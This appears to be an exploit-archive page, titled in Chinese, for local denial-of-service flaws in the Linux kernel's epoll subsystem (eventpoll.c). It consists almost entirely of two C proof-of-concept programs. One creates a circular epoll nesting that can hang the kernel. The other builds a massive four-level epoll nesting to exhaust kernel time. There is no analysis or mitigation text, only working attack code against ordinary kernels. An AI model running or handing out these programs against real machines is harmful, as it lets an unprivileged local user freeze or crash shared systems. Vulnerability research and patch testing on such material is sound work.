Linux Kernel epoll Subsystem “eventpoll.c”多个本地拒绝服务漏洞

                                                #include <unistd.h>
#include <sys/epoll.h>
int main(void) {
     int e1, e2, p[2];
     struct epoll_event evt = {
         .events = EPOLLIN
     };
     e1 = epoll_create(1);
     e2 = epoll_create(2);
     pipe(p);

     epoll_ctl(e2, EPOLL_CTL_ADD, e1, &evt);
     epoll_ctl(e1, EPOLL_CTL_ADD, p[0], &evt);
     write(p[1], p, sizeof p);
     epoll_ctl(e1, EPOLL_CTL_ADD, e2, &evt);

     return 0;
}










http://downloads.securityfocus.com/vulnerabilities/exploits/46630_2.c
#include <unistd.h>
#include <sys/epoll.h>
#include <sys/time.h>
#include <stdio.h>

#define SIZE 250

int main(void) {

    int links[SIZE];
    int links2[SIZE];
    int links3[SIZE];
    int links4[SIZE];
    int i, j;
    int ret;
    int ep1, ep2;
    struct timeval start, end;

    struct epoll_event evt = {
        .events = EPOLLIN
    };

    ep1 = epoll_create(1);
    for (i = 0; i < SIZE; i++) {
        links[i] = epoll_create(1);
        ret = epoll_ctl(ep1, EPOLL_CTL_ADD, links[i], &evt);
        if (ret)
            perror("error 1");
    }
    for (i = 0; i < SIZE; i++) {
        links2[i] = epoll_create(1);
        for (j = 0; j < SIZE; j++) {
            epoll_ctl(links[j], EPOLL_CTL_ADD, links2[i], &evt);
            if (ret)
                perror("error 2");
        }
    }
    for (i = 0; i < SIZE; i++) {
        links3[i] = epoll_create(1);
        for (j = 0; j < SIZE; j++) {
            epoll_ctl(links2[j], EPOLL_CTL_ADD, links3[i], &evt);
            if (ret)
                perror("error 3");
        }
    }
    for (i = 0; i < SIZE; i++) {
        links4[i] = epoll_create(1);
        for (j = 0; j < SIZE; j++) {
            epoll_ctl(links3[j], EPOLL_CTL_ADD, links4[i], &evt);
            if (ret)
                perror("error 4");
        }
    }

    ep2 = epoll_create(1);
    gettimeofday(&start, NULL);
    ret = epoll_ctl(ep2, EPOLL_CTL_ADD, ep1, &evt);
    /* creates a loop */
    //ret = epoll_ctl(links4[499], EPOLL_CTL_ADD, ep1, &evt);
    if (ret)
        perror("error 5");
    gettimeofday(&end, NULL);

    printf("%ld\n", ((end.tv_sec * 1000000 + end.tv_usec)
        - (start.tv_sec * 1000000 + start.tv_usec)));

    return 0;

}